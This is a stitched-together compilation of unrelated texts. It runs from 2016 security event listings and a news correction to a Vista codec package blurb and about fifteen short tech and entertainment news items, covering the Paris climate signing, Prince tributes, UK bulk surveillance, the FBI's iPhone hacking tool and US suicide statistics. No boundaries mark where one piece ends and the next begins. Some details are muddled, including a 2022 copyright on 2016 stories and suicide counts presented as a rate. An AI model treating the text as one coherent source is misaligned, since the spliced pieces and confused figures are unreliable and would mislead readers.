June 29. UK Cyber View Summit 2016  SS7 & Rogue Tower Communications Attack: The Impact on National Security. The Shard, 32 London Bridge St., London. Registration: private sector, Pounds 320; public sector, Pounds 280; voluntary sector, Pounds 160.

June 30. DC/Metro Cyber Security Summit. The Ritz-Carlton Tysons Corner, 1700 Tysons Blvd., McLean, Virginia. Registration: $250.

*ECT News Network editors note  April 22, 2016: Our original published version of this story incorrectly stated that patient data was accidentally posted to a test site on the Internet. However, the test site was NOT on the Internet, the American College of Cardiologys Beth Casteel informed us. Further, our original story stated that the incident occurred during a redesign of its national cardiovascular data registry. The software being developed wasnt a redesign of the National Cardiovascular Data Registry, according to Casteel, but just related software. We regret the errors.
The following filetypes are enabled and SUPPORTED by the installation of the Vista Codec Package. All of these filetypes can be queued to the Windows Media Player Playlist using a right-click:

amr

mpc

ofr

divx

mka

ape

flac

evo

flv

m4b

mkv

ogg

ogv

ogm

rmvb

xvid

Concerning S/PDIF, digital, optical and HDMI: The administrator and a regular user are different users and each must setup the Audio TAB. At no time should anyone have a need to click the leftside of the Audio TAB manually; it uses system detection. The codec packs contains a Settings Application to use in conjunction with your windows media center setup which will enable a user to choose different splitters and decoders for specific filetypes. The application will also allow you to choose from 10 different speaker configurations from 'same as input' and all the way up to full 7.1 channel output.

The Settings Application is 100% UAC compliant.

Restricted access is enforced. (User Account Control) The Application allows each user to maintain individual codec settings while at the same time seamlessly integrating any administrative commands directly into the users account. New users accounts are detected upon opening the Application and automatically inherit the Administrators settings.

This installation will enable intuitive video file descriptions of hidden file extensions. Adding files to the Windows Media Player Playlist On the Help TAB of the Settings Application is a button to allow you to choose Windows Media Player Filetype Associations. Once you have used this button, you can Enqueue newly associated files to the Windows Media Player Playlist as depicted below. If for some reason this doesn't work for you, go back to the associations button, click No twice, consecutively, then select Yes. No reboot is required.

This will also work for audio files such as FLAC, APE or musepack.

Codecs have been a problem for most users at one time or another. This is because there has never been an 'out of the box' working solution that the average computer user could install and just have everything work properly from the beginning. There are several decent codec package solutions out there, but none of them did everything I wanted. I was always in need of a tweak, adjustment, or even a re-installation just to get the codecs I needed/wanted and most of the time, the file still didn't play properly. I've never claimed to be a media guru. My media experience prior to creating these packages was to double-click a file I downloaded and hope that it played.

The installer will automatically remove most other popular codec packs from your computer before installing this concise yet comprehensive windows media center setup package. For a list of all things automatically uninstalled by the Windows Vista Codec Package installer, Click Here. You won't need to make any adjustments or tweaks to enjoy your windows media center content immediately. Windows Media Player and Vista Media Center will instantly recognize all your files as playable.

It does not contain a media player and it does not associate file-types. With the vista codec package installed you will be able to use any media player, limited only by the players' capabilities, to play all movies and video clips. Streaming video is supported in several formats in all popular web browsers. Users of Windows Vista Codec Package have the ability to choose what is installed and where to install it using the public redistributable. After installation you can select to remove specific portions without removing the entire codec package. You can also re-add the removed items at any time.

The Windows Vista Codec Package installation supports 20 localizations. The default is English and includes support for the following other languages; Arabic, Chinese Simplified/Traditional, Japanese, Czech, Danish, Dutch, Finnish, French, German, Greek, Italian, Norwegian, Portuguese, Russian, Spanish, Polish, Swedish and Turkish. Languages can be added upon request.
The gaming industry will generate nearly $100 billion in revenues in 2016 according to new data from market research firm Newzoo.

In its latest Global Games Market Report, the firm says gamers worldwide will generate a total of $99.6 billion by the end of the year - an increase of 8.5 percent compared to 2015. Why the jump in revenues, you ask?

Two words: mobile gaming.

The market researcher predicts mobile gaming will account for $36.9 billion in revenues, more than a third of the total pie. That's up a whopping 21.3 percent year-over-year. Perhaps more importantly is the fact that, if Newzoo's projections are on point, mobile gaming revenues will surpass PC gaming revenues for the first time ever.

Nearly half of total global game revenues (47 percent, to be exact) will come from Asia-Pacific territories with China alone accounting for $24.4 billion. In comparison, the firm anticipates the US market will contribute $23.5 billion this year. China will likely remain the largest games market for the foreseeable future, Newzoo said.

As you know, augmented and virtual reality is a hot topic in technology circles right now. Newzoo believes that in the long term, these technologies will change how consumers communicate with each other and interact with content. In the short to medium term, however, the firm expects most of the revenues generated to come from hardware sales, spectator content and live viewing formats. That said, revenues generated in this segment will remain marginal for the near future.

Lead image courtesy Getty Images
In a historic moment of international cooperation, more than 160 nations are expected to sign the landmark climate agreement at the United Nations headquarters in New York, coinciding with the celebration of Earth Day on April 22.

The countries are convening to sign what is known as the Paris climate deal developed and agreed upon during the U.N. climate change conference (COP21) in December 2015. The aim is to stave off the worst effects of global warming and other climatic changes.

According to the U.N., this is a record-breaking international agreement, surpassing the previous record set in 1994 by the Law of the Sea in Montego, where 119 countries came together to sign the Law of the Sea treaty.

"From a historical perspective, this will be a great day for the United Nations," said Selwin Hart, director of the U.N. Secretary General's Climate Change Support Team.

On April 21, a day before the signing, another significant meeting was held where civil society leaders discussed a set of 17 global goals, such as annihilating poverty, tackling climate change and fighting inequality in the next 15 years. The debate centered on Sustainable Development Goals (SDGs).

The signing ceremony for the climate deal will be attended by more than 60 heads of state and government who will ensure the agreement comes into force at the earliest. It was previously anticipated that the agreement would be implemented around the years 2018-2020.

However, with U.N. Secretary General Ban Ki-moon coordinating the pact, it seems plausible that the agreement would come into effect sooner than expected.

A month after at least 55 countries, accounting for 55 percent of the global greenhouse gas emissions, deposit their instruments of ratification with the secretary-general, will the deal be implemented.

The agreement encourages all the countries  big or small, developed or developing, rich or poor  to be part of the action to help reduce global warming and make the world a better place to live in.

The long-term goal of the pact is "to achieve a balance between anthropogenic emissions by sources and removals by sinks of greenhouse gases in the second half of this century, on the basis of equity, and in the context of sustainable development and efforts to eradicate poverty."

 2022 TECHTIMES.com All rights reserved. Do not reproduce without permission.
The DJ and top EDM artist known as Kygo is getting his own exclusive radio station on SiriusXM satellite radio. The station is set to debut on May 9 and will feature music by both Kygo and other EDM artists during its limited run on the SiriusXM channel.

EDM, otherwise known as electronic dance music, continues to take the nation by storm, and the DJ and artist known as Kygo is one of its biggest rising stars. Thanks to his own solo hits, including breakthrough track "Firestone" and the more recent "Stole the Show," along with a prolific catalog of remixes for a virtual who's who of modern pop stars, including Rihanna, Ed Sheeran, Ellie Goulding and The Weeknd, the Norwegian-born producer has become one of the most sought-after electronic music artists.

In fact, Kygo was the fifth-most streamed artist on SoundCloud last year, behind only Drake, Major Lazer, G-Eazy and Future, and placed two tracks in Billboard's year-end list of the most streamed EDM songs of 2015. His breakthrough paralleled that of the genre, which he is most famous for performing in the style called "tropical house," a down-tempo, feel-good version of dance music that made its mark in 2015. In fact, the genre crossed over into mass appeal last year with the huge number one pop hit "What Do You Mean," a take on the tropical house style offered up by Justin Bieber and his famous super producer Skrillex.

Now, Kygo and his tropical house sound are set to take over their very own radio station with a 24/7 dose of music in the genre. Starting May 9 and running through May 20, channel 53, usually known as "Chill," will be known as "Kygo Radio" and feature tunes curated by the artist, including tracks from his upcoming album Cloud Nine.

"I'm incredibly excited for my own Kygo Radio channel!" said Kygo. "SiriusXM has had my back ever since day one when I was making remixes in my dorm room at university, and it means a lot that they're supporting my music as I prepare to release my debut album, Cloud Nine. I'll be playing some of my favorite tracks from both the past and present, and most of all, I'm looking forward to playing brand new music from Cloud Nine. I can also promise a few surprises thrown in along the way, so tune in!"

 2022 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Kellogg's wants to take its customers to ancient Egypt to eat breakfast beside Cleopatra, thanks to its developed virtual reality experience.

The American food company has decided to use VR technology in its bid to promote its Ancient Legends cereal, particularly during the product's launch in the United Kingdom.

The VR experience allowed consumers to taste the company's newest product while being transported back to ancient Egypt and eat cereal next to the 3,000-year-old Egyptian queen (how innovative!).

Kellogg's used the Oculus Rift DK2 headset plus Razer's Hydra controller that's attached to a spoon during the virtual cereal testing.

Inside the VR experience, consumers are sitting at a table alongside none other than Cleopatra, who is, of course, eating Ancient Legends cereal as well. In front of the users is a bowl of cereal, too.

So what's the connection between Cleopatra and the cereal? Well, the Ancient Legends cereal is actually packed with ingredients that were well-liked during the time Cleopatra reigned in Egypt, particularly in the first century BC. These include flax seeds, spelt, chia and quinoa.

"Ancient Legends is a huge investment that Kellogg's has committed to across Europe, and we're already seeing fantastic sales results here in the UK," said Ruth Gresty, the Ancient Legends marketing manager. "We expect Ancient Legends to join the pantheon of Kellogg's best loved brands, with the same level of public recognition as Special K, Rice Krispies and Corn Flakes."

Rumor has it that the company has allotted a huge marketing budget in the UK for the Ancient Legends, which is said to be in excess of $10.5 million.

At any rate, Kellogg's move to take advantage of what VR technology has to offer just shows that VR is increasingly becoming more popular in different fields. In this case, the company is using VR as its tool in promoting its most recent product.

In the meantime, Kellogg's also pushed out a 360-degree video on Facebook showing what breakfast with Cleopatra feels like.

Let us know in the comment section below your thoughts regarding the way companies use the VR technology in marketing their newest products.

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Rumors are continuously swirling, suggesting that Apple Car might already be in the works at secret locations believed to be situated in Sunnyvale, California, and Berlin, Germany. BMW and Daimler, however, will no longer help out in Apple's endeavor to produce the so-called iCar.

A recent rumor has emerged saying the two automakers have already abandoned Apple car talks over data ownership and leadership problems.

German business publication Handelsblatt reports on April 20 that the two German automakers have already discontinued talks with the Cupertino-based company over the cooperation deal on iCar, citing its "industry sources."

"Sources said the talks with both German carmakers collapsed over the key questions of who would lead the project and, above all, which company would have ownership of the data," reads the report.

It goes on to say that the talks with BMW already fell apart last year while the discussions with Mercedes-Benz parent company Daimler have just recently ended.

While the automakers are said to "have made customer data protection a key element of their future strategy," Apple, in the meantime, reportedly wants the iCar to be "closely built into its own cloud software."

Word also has it that Apple is said to be in talks with Magna Steyr, particularly its Austrian branch. If the latest rumor turns out to be true, Magna Steyr seems to be the frontrunner to manufacture the highly purported Apple Car.

Apple is believed to be searching for a partner that could assist it in producing its Apple Car as it has no experience with regard to car production.

A recent report claims that Apple has reportedly employed 15 to 20 people in its secret car lab in Berlin to work on the Apple car that is aimed to be completed in 2019 or 2020.

A report from another German publication Frankfurter Allgemeine Zeitung, otherwise known as F.A.Z., describes the employees that make up the secret lab in Berlin as "top class" professionals and young "progressive thinkers." These employees are believed to have varied backgrounds, ranging from sales, engineering, software and hardware.

For now, since there is no confirmation yet, let's file this story under the rumor category.

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Monkeys from South American were long thought to have moved into the North America through the Isthmus of Panama about three and a half million years ago. However, new evidence suggests that these early primates migrated into the continent using makeshift rafts some 21 million years ago.

In a study featured in the journal Nature, researchers from the Florida Museum of Natural History (FLMNH) have identified the remains of an ancient species of monkey known as Panamacebus transitus, which was recovered during excavations for the Panama Canal.

Jonathan Bloch, a paleontologist from the FLMNH, explained that the Panamacebus transitus was a close relative of modern-day capuchin monkeys, or "organ-grinder" monkeys, and squirrel monkeys that are typically found in Central and South America.

An analysis of the prehistoric monkey's teeth revealed that they were encased in rocks that dated back to 21 million years ago. This suggests that the animal was somehow able to reach Panama from South America even before the two continents were connected with the formation of the Isthmus of Panama.

While the researchers were able to establish a connection between the Panamacebus transitus and present-day monkeys in South America, they are still unsure how these early monkeys managed to make it to North America without using a land bridge.

One theory Bloch considers is that these prehistoric creatures built mats using the local dirt and vegetation in South America. They then used these improvised rafts to cross the large body of water in order to reach Panama.

Ancient primates were known to use various materials in their surroundings to make makeshift floatation devices. Scientists believe early monkeys from Africa used this very same technique to cross the Atlantic Ocean and reach South America some 40 million years ago.

Bloch pointed out that there is also evidence that suggests the Panamacebus transitus found plants in the Panama that were similar to those located in South America. This allowed them to eat the same types of fruits that they were already used to.

Bloch added that the Panamacebus transitus chose not to venture further north because the vegetation in these areas, such as in Nicaragua and Costa Rica, were vastly different from what they were accustomed to.

He said that these forests would not have offered the types of food that these early monkeys needed to survive.

Photo: Carlos Luna | Flickr

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UK spy agencies have a long history of collecting the personal data of British citizens, as recent documents show that the government deploys unnecessary mass surveillance.

Privacy International filed a legal challenge against the practice and, to back its case, published a consistent number of files and memos belonging to entities such as the GCHQ, MI6 and MI5. The documents indicate that "bulk personal datasets" (BPD) have been used for some time by intelligence agencies.

This means that security officials had access to various data belonging to citizens, including but not limited to travel records, medical records, call records and financial data. What is worse, the agencies described most of the targets "unlikely to be of intelligence or security interest."

The papers show a worrying trend: spies are sometimes extremely laid back when it comes to data-handling protocols. An internal letter dated 2011 from the Secret Intelligence Agency points out that employees sometimes looked at "details of family members" for their own purposes.

It seems security agents sometimes write service forms on behalf of their colleagues. In order to do it correctly, they tap into the respective people's personal data, but this comprises a privacy risk to other info from the data base.

In theory, all database access is monitored and in order to search a bulk personal dataset, agents must have a proper warrant. However, the problem appears when the rules are blurry, making it unclear which information requires a warrant and which is free for all.

The British establishment publicly admitted the existence of searchable databases in March last year and pointed out that they are not to be called "mass surveillance."

The papers published by Privacy International suggest that ministers from the government were aware of BPD use since the late 90s.

Millie Graham-Wood is a legal councilor at Privacy International and has troubling insight on the matter.

"The intelligence agencies have secretly given themselves access to potentially any and all recorded information about us," she notes. Seeing how individual privacy is one of the hottest topics on media today, the reveal opens more questions than it offers answers.

The Home Office has a different opinion on the matter.

"Bulk powers have been essential to the security and intelligence agencies over the last decade and will be increasingly important in the future," a spokesperson underlines. It continued by making a parallel between the data gathering methods of security agencies and those used by modern businesses to analyze big chunks of data.

A controversial bill addressing the issue is currently in discussion in the British Parliament and in a number of committees. Should it get a positive vote, the bill will guarantee intelligence agencies the power to continue using BPDs and more.

The government claims that the bill will assist the state in its counter-terrorist actions and in curbing organized crime. However, tech companies such as Microsoft, Facebook, Apple and Google rallied up against the bill, affirming that it represents a retrograde movement in civil rights.

Meanwhile, director of Britain's Government Communications Headquarters, Robert Hannigan, urges social networks to join government forces in efforts to combat the hidden threats of terrorism.

Privacy groups went as far as saying that if the law passes, the government will have free reign over spying on its own citizens, unabated.

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Many have speculated that Robert Downey Jr.'s time as Iron Man may be soon coming to an end, but it looks like Marvel managed to convince the actor to appear in at least one additional film beyond Avengers: Infinity War parts one and two.

The Hollywood Reporter states the actor has struck a separate deal outside of his existing Marvel contract to appear in Spider-Man: Homecoming. The website doesn't go into the specifics of the deal, but no doubt Downey will be earning a pretty penny given his previous contract figures.

The news matches up with recent remarks from Marvel Studios head Kevin Feige. He recently said that other Marvel Cinematic Universe characters would appear in Spider-Man's Marvel debut, and this news further confirms it. Iron Man will likely be the first of several Marvel characters to join the film.

That Iron Man in particular is to be included in Spidey's new solo film is especially fitting given that Tony Stark plays a key role in introducing Spider-Man in the upcoming Captain America: Civil War.

For years Sony owned the film rights to Spider-Man, which is what prevented the web crawler from appearing in Marvel's cinematic universe despite the character long being Marvel's poster boy. In Spider-Man's absence, Iron Man became the glue that served to hold the entire film franchise together. That Iron Man will play a role in Spider-Man's "homecoming" into the Marvel universe proper is oddly fitting in that regard, and will perhaps serve as a passing of the torch.

Downey has been looking to step down as Iron Man for a while now. With Tom Holland's already critically acclaimed performance as Spider-Man in Civil War making headlines, perhaps the Marvel Cinematic Universe no longer needs Downey as it once did.

In other Spider-Man: Homecoming news, rumors have pegged classic Spider-Man villain Vulture as set to appear in the film. Whether or not those rumors are true remain to be seen, but a high-flying battle between Iron Man and Vulture sounds great on paper. Spider-Man: Homecoming is scheduled for a summer 2017 release.

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Just by selling strange looking rocks and using the art of deception to make victims believe in the power of his fake meteor, Le Van Huy pocketed millions of dollars.

Huy came up with the idea about two decades ago when some strangers from Ho Chi Minh City hired him to help them explore a mountain in his hometown in the Central Highlands to search for meteors.

Realizing the value and potential lure of the meteors, Huy devised a detailed plan to cheat billionaires into buying strange looking pieces of rock he claimed had fallen out of the sky.

Huy sold his house to buy a car, a diamond ring and other luxury items to pretend that he was also a billionaire. The deception became more intricate when he staged tricks to pretend the rocks were powerful enough to break glass and freeze mercury, or give anyone who touched them a shock using electricity, as many believed that only a genuine meteor could do that.

With his new billionaire persona, the fifty-year-old recruited people to help with the scam.

Their jobs were to find people interested in meteors and perform magic tricks to convince victims that what they were buying were genuine and powerful pieces of meteors.

In a famous case in 2012, Huys gang convinced a billionaire in Ho Chi Minh City to buy a fake piece of meteor for $12 million. When the victim hesitated to buy the rock, Huy contacted him separately offering to buy the rock back off him for $80 million.

The billionaire decided to buy the five-kilogram rock, expecting to make a fortune from his purchase.

The fake piece of meteor that Huy used to cheat the billionaire out of $12 million.

The billionaire paid the $12 million but when he tried to contact Huy he was nowhere to be found.

Using the same tricks, Huy conned eight billionaires across the country.

Huy lived in many different provinces, marrying 22 women who bore him 31 children. He was arrested earlier this year and according to police, he may also be involved in some murder cases.
The FBI paid a hefty sum of more than $1 million for a hacking tool that broke into the iPhone owned by one of the gunmen in the San Bernardino shooting.

While the agency did not give an exact amount, FBI Director James Comey did say that the number adds up to more than seven years and four months' worth of his salary.

According to the FBI and the U.S. Office of Management and Budget, his annual salary is $183,300 as of January 2015. Assuming that he doesn't get a bonus or a raise, he will make $1.34 million throughout his remaining term.

As a result, this is the highest publicized paid figure for hacking software, but Comey says it was a valuable deal nevertheless, according to his response when asked how much the organization spent for the tool at the Aspen Security Forum in London.

"A lot. More than I will make in the remainder of this job, which is seven years and four months for sure. But it was, in my view, worth it," the director said.

Back in March, the FBI successfully unlocked the iPhone in question, effectively putting an end to the legal bout between the government and Apple over encryption matters.

However, the tussle is far from over, as the FBI is looking into cracking other Apple handsets. While the authorities already have the means to access secured iPhone 5c units running on iOS 9, the same software can't be used on other models. A notable example of that is the iPhone 5s running iOS 7 involved in the recent New York drug case.

In the same vein, Comey responded to questions regarding the implementation of end-to-end encryption on WhatsApp, a move that affects more than 1 billion users.

"There are a significant number of criminals and terrorists that use WhatsApp, and that's a problem,'' Comey said, noting that encrypting communication of that scale "comes at a significant cost."

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Suicide rates in the United States have jumped by about 24 percent since 1999, signifying the highest surge in nearly three decades, an analysis by the Centers for Disease Control and Prevention (CDC) said Friday.

The National Center for Health Statistics (NCHS) said there were suicide rate increases in every age group, except among older adults, from 1999 to 2014.

The rise was so widespread that it upped the country's suicide rate to 13 in every 100,000 people - the highest since 1986.

The overall suicide rate in the U.S. also rose by 2 percent each year since 2006, double the annual rise in the study's earlier period.

Suicide By Age Group, Race, Gender

Middle-aged Americans were particularly hit, revealing an abrupt increase in an age group whose rates had been either falling or stagnant since the 1950s.

When it comes to gender, women were steeply struck by the rise. For middle-aged women in the 45 to 64 age group, the suicide rate increased by 63 percent over the report's period.

For men in the same age range, the suicide rate went up by 43 percent, marking the sharpest increase for males in any age group.

NCHS researchers also detected an alarming rise in suicide rates among girls who were 10 to 14 years old. Although the suicide rate was low, it had tripled: from 50 in 1999, it rose to 150 in 2014.

Of all racial and ethnic groups in the U.S., American Indians had the sharpest increase. Suicide rates for American Indian women rose by 89 percent, while it was 38 percent for men. For White middle-aged women, the rise was 80 percent.

On the other hand, the suicide rate declined for black men, as well as for men and women who are 75 years old and above.

More Than A Statistic

The statistics reflect the anguish and suffering those residents in the country feel.

Professor Julie Phillips, a sociologist at Rutgers University, said one possible contributor to the rising number was economic distress. She said people were growing with a certain expectation, and the country's Great Recession had changed that.

"Things aren't panning out the way people expect," said Phillips. "I feel for sure that has had an effect."

Professor Robert Putnam of Harvard University said the statistics is part of a larger emerging pattern of evidence of the links between hopelessness, poverty, and health.

Suicide remains as one of the top 10 leading causes of death in the country. Experts say efforts to prevent the act are "spotty."

Dr. Jane Pearson, who oversees the National Institutes of Health funding for research on suicide prevention, said there are effective treatments, but they have yet to figure out how to integrate them into health care systems so they are applied more automatically.

"We've got bits and pieces, but we haven't really put them all together yet," said Pearson.

Jill Harkavy-Friedman of the American Foundation said that they know suicide is a preventable mental health condition, but research and funding have yet to keep up with it.

"As the stigma dissipates, that is going to change," said Harkavy-Friedman, adding that money has to be put behind research.

Photo : Joshua Ganderson | Flickr

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Music superstar Prince electrified the stage and took the world by storm with his eclectic music in the '80s. A private man, Prince was a force to be reckoned with - widely influencing the sound and trajectory of popular music, while at the same time, setting the bar for it.

His death at 57 sparked an outpouring of grief on social media. Nodding to the prolific musician's 1984 album and film Purple Rain, NASA on Friday tweeted a photo of a purple nebula called Crab nebula.

"A purple nebula, in honor of Prince, who passed away today," the space agency said.

Just like Prince, the Crab nebula has an iconic cosmic presence. It is a supernova remnant within the Milky Way galaxy and is located at about 6,500 light-years away from our planet.

The Crab nebula is what was left after the explosion of a massive star, which was observed by Chinese astronomers in 1054. Such stars burn incredibly brightly and then die young. As Space.com says, NASA's photo tribute seems all the more appropriate.

The photo is a composite view of the nebula combined with the imagery from NASA's Hubble Space telescope and the European Space Agency's Herschel Space Observatory.

A purple nebula, in honor of Prince, who passed away today. https://t.co/7buFWWExMw pic.twitter.com/ONQDwSQwVa  NASA (@NASA) April 21, 2016

Love From All Over The World

Tributes for the music titan came flooding in on Facebook, Twitter and other social media sites from all around the world.

Retired Los Angeles Lakers player Magic Johnson tweeted, "When you went to a Prince concert, he had you partying until you couldn't party anymore."

Haitian rapper Wyclef Jean said, "R.I.P. to the King Prince. Thank you for inspiring me to be a musician first and [use] this tool to heal people."

Another post was funny and heartwarming. "David Bowie and Prince are probably having the best concert in space rn [right now]," tweeted beauty writer Arabelle Sicardi.

Lastly, The Roots' Questlove Gomez said, "Long Live The King."

Prince's Music Lives On

Shortly after the music icon's death Thursday, Tech Times reported that his albums climbed iTunes' Top Album charts: The Very Best of Prince at No. 1; Purple Rain at No. 3; and The Hits/The B-sides at No. 9. Fans have been fortunate enough to watch the enigmatic man perform in his final show in Atlanta's Fox Theatre.

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In an effort to provide easier access to voter information, the Office of the Secretary of State and Alabama Interactive announced on April 22 that they will be launching a new online portal. This portal will include voter information and access to voter history, not limited to county school districts, county commission districts and state house districts.

"We are very excited to be able to offer this service to the citizens of Alabama," said Secretary John Merrill. "This new feature continues my efforts to increase transparency and will allow any interested citizen, candidate or elected official to be able to custom prepare and purchase the voter list they desire without having to contact another person to do it. The system will be secure, cost-efficient, and provide easy access to the available information."

The Secretary of State already offers certified business documents, foreign LLC filings and certificates of existence. The development of this online portal will expand its offerings with voter data. However, official election results, poll lists and information pertaining to official election preparation will not be accessible through the portal, which can be accessed at www.alabamainteractive.org.

Alabama is not the first state to offer this type of portal with voter information. Minnesota, Louisiana and South Dakota are just some of the many states to introduce these types of resources for residents throughout their respective areas.

Voter information portals are designed to make it simpler for residents to access critical information, such as whether they are registered to vote. While the Alabama portal does not offer city wide of municipal district voter information, some portals do offer additional insight. Louisiana's portal, for instance, allows individuals to hone in on voter information down to an address level.

Individuals who want to use Alabama's portal to purchase voter information online will be charged one cent per voter list information online. The price isn't steep, and it provides users with the transparency they desire when it comes to everything related to voting in Alabama.

For safety and security purposes, provisions are in place to protect victims, as well as the parents of victims of domestic violence, under Code of Alabama 1975, Section 17-4-33(b). Any questions can be directed to the Office of the Secretary of State.

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When I first learned that Disney planned to obliterate the Star Wars Expanded Universe in a way not so different from how the first Death Star annihilated Alderaan, I don't remember being upset. There was no disturbance in the Force: in fact, the opposite was closer to the truth.

You see, I never enjoyed all that much of the Expanded Universe, which mostly existed in book form but was also comprised of various video games and comics. For every cool addition it introduced to Star Wars canon, it seemed to have a knack for introducing far more negatives. There were exceptions, of course. I loved the X-Wing series. Knights of the Old Republic I and II are among some of my favorite games of all time. Here and there, I found aspects of the EU to love.

However, for every Knights of the Old Republic, there was a Masters of Tera Kasi. For every Heir to the Empire, there was a Darth Maul with robot legs (which is, bizarrely, still canon). It still baffles the mind that the character of Luuke is actually a real thing. Over the course of the EU's more than 20-year life-span, the bad stuff started to pile up.

So, when Disney announced that the EU would be rebranded "Legends" to distinguish it from new certified "canon" stories told outside of the films, I was actually relieved. No more EU stories would be published, though the old books would still remain in print under the Legends brand. Everything would make sense once again, and it would all be under one Star Wars banner. This is what Star Wars needed, I thought. A blank slate. A fresh starting point. A new hope.

Now, two years after the EU as fans knew it died, I realize I was wrong. Though the books, games and comics that made up the EU were far from perfect (believe me, some weird, weird stuff happens), for many years, they were the only new Star Wars stories being told. In the early 1990s, fans didn't know if a new Star Wars movie would ever be made. More than a few fans latched onto these new tales with a passion never before seen as a result. To many, the EU is Star Wars.

That was made clear recently when a group of passionate fans raised close to $5,000 in order to purchase a billboard in San Francisco, solely for the purpose of asking Disney and Lucasfilm to let the EU live on. These fans are as hardcore as they come. Not only are they willing to write personal messages about what the EU means to them on their group's website, but they have also put their money where their mouths are. These fans are willing to pay for new EU stories, if only Disney will allow them.

So, why not? Is there a real downside to having the old EU, or Legends, as it's now called, exist alongside the new canon material?

I would argue no, not really. If there is demand for more stories in that universe, why not supply it? All it means is more money for Disney. In all fairness, it's hard to gauge exactly how much demand there is for a continuation of the Legends storyline. While there is no doubt a substantial group of outspoken fans, one group is not enough to have a book (or series of books) made. However, it wouldn't be too difficult for Disney to test the waters, whether it be with surveys or simply by releasing one new piece of material to test interest in the idea.

If Disney and Lucasfilm have one argument for why the Legends line must remain untouched, it's likely to stem from simplicity. As it is now, with all prior EU books being rebranded Legends and all new material being official canon, it's relatively clear what is what. New readers diving into this new EU know exactly what's going on and don't have to worry about reading a decade's worth of prior material. It's easier for new fans to jump on board, and they don't have to worry about buying a new Star Wars book that "doesn't count" as part of canon.

There's some truth there. Publishing Star Wars material under two different labels, one a "what-if" timeline and the other official, could be confusing. However, it's not like major pop culture powerhouses haven't done it before. The DC and Marvel comic universes have long had multiple universes that readers have managed (for the most part) to keep straight. Longtime Marvel fans knew the Ultimate universe wasn't "the real" Marvel universe, but could still enjoy the stories being told there. Fans of DC's Injustice game and comics, where Superman becomes Emperor of Earth and murders the Joker, knows it's not the real Superman. It hasn't stopped Injustice from being one of DC's most popular comic books in recent memory.

Star Wars itself has a history of this as well. Almost since the EU began, there have been stories that haven't been official canon. Does the Star Wars Holiday Special ring a bell? Numerous games have long featured aspects that aren't official canon, such as alternate storylines that are determined by players in games like Knights of the Old Republic and Star Wars: The Force Unleashed. Heck, the ongoing MMO Star Wars: The Old Republic is still receiving story-driven expansions, all of them non-canon. Certain comics aren't considered official canon. There are plenty of examples to list.

Non-canon and canon stories have existed side by side since Star Wars began. Now, with the old EU clearly defined as the non-canon Legends, there is no reason it can't continue as long as the results would be profitable for Disney. After all, Disney is a business. It exists to make money, and the acquisition of Star Wars and Lucasfilm was done solely with that goal in mind. If the old EU can still bring in cash, the company could care less that it sits on store shelves alongside official stories.

Just having new Legend stories published doesn't mean fans can't also enjoy the new films and canon stories as well. The two aren't mutually exclusive. They can exist side by side, and the audience would no doubt overlap.

Only one argument for why Disney might not want to breathe new life into the EU remains: quality. As stated above, there were many aspects of the EU that weren't that great. Some of it was downright awful. Any fan will tell you that. Is it reason enough for it to die completely, for the story to end? Not when the new canon material is hardly any better. Disney's new canon expanded material began in the lead-up to The Force Awakens with Chuck Wendig's Star Wars: Aftermath. It was hardly groundbreaking, and in many ways, was just as bad, if not worse, than many of the lackluster EU stories that came before it. The book currently sits at a customer review rating of 2.6 out of 5 on Amazon.

Hardly a ringing endorsement, and not exactly a great excuse for why the old EU needed to end. Though Marvel's Star Wars comics have largely been exciting reads, they mostly focus on the era of the original trilogy. There are few stories being told during the prequels. No new stories are being told during the era of the Old Republic. Disney is playing it safe, which is something, regardless of the final product, the EU could never be accused of doing.

Even if Disney decides to shy away from printing new Legends stories set after Return of the Jedi to avoid conflict with its new canon stories, using Legends as a means to continue the tales of ancient Sith and the Old Republic would be welcome. Legends could be an avenue to explore a part of the Star Wars universe that Disney thus far seems content to ignore.

From now on, the EU will always stand outside of the Star Wars universe proper. That much is clear. It will never again be "real" Star Wars. However, any child can tell you that legends aren't real. They are stories, reminders of times long gone. That legends aren't real isn't the point. When the time comes, each generation adds to those legends, adding new twists and turns, new heroes and new villains.

The legends of Star Wars are no different, and deserve to live on in new stories. Legends, as they say, never die, and neither should the legends of the Star Wars universe that was.

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In the name of the moon, Usagi and friends will finally get the Funko Pop treatment.

Funko announced the addition of Sailor Moon pop figures to its lineup on its Instagram account. The figures feature all five Sailor Senshi  Sailor Moon (with Luna), Sailor Mercury, Sailor Jupiter, Sailor Mars and Sailor Venus (with Artemis)  as well as Tuxedo Mask.

It's almost surprising that it took this long for the figures to get a notice from the company: the anime series celebrated its 20th anniversary a few years ago: in honor of that, Hulu began re-airing the original Japanese version of the series. That included the series' final season, Sailor Moon Stars, which aired on the site for the first time ever in the U.S.

Interest in Sailor Moon continued after the series got a reboot with Sailor Moon Crystal, which revamps the older anime series so that it is a better reflection of the original manga by Naoko Takeuchi.

Here's a first look at the Sailor Moon Funko Pop figures:

#SailorMoon Pop!s are finally coming in July!!! A photo posted by Funko (@originalfunko) on Apr 20, 2016 at 9:45am PDT

As noted, fans can get their hands on these figures as of July.

Sailor Moon was one of the first manga and anime series to introduce the idea of the "magical girl." It followed the lives of five girls who discover that they are incarnations of people who once ruled the Moon Kingdom. The five girls must use their powers to fight those aliens and monsters who would invade and take over Earth.

Although the series contains loads of action, at its heart, it is a show about love, compassion and friendship. It was also one of the first animated series to feature female leads, as well as one of the first to have an LGBT relationship between two of its characters, Sailor Neptune and Sailor Uranus.

Sailor Moon merchandise also remains a hot commodity, including some higher-end items, such as the $3,000 Sailor Moon wedding tiara and a series of designer handbags by Samantha Vega. Characters from the series also still remain popular with cosplayers at most comic cons, and one can still find fans willing and ready to quote lines from Sailor Moon's signature speech: "In the name of the moon, I will punish you."

Sailor Moon and Sailor Moon Crystal are available now on Hulu.

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PAX East is among the biggest conventions in gaming, with thousands upon thousands of people flocking to Boston every year in order to check out the latest and greatest the video game industry has to offer.

There is, however, one negative side effect of all that excitement. Do you know what happens when thousands upon thousands of people are all crammed into a convention hall?

It smells. It smells really, really bad. Thankfully, Twitch and Old Spice have partnered together to hand out free deodorant (full and travel-size) to PAX East convention visitors in an effort to stem the tide of overwhelming body odor.

There is no word yet on whether or not it's working. Getting rid of that notorious convention smell isn't easy. To effectively eliminate bad BO, Twitch is going to need way more deodorant than we've seen in pictures from the show floor. However, it is nonetheless a noble endeavor.

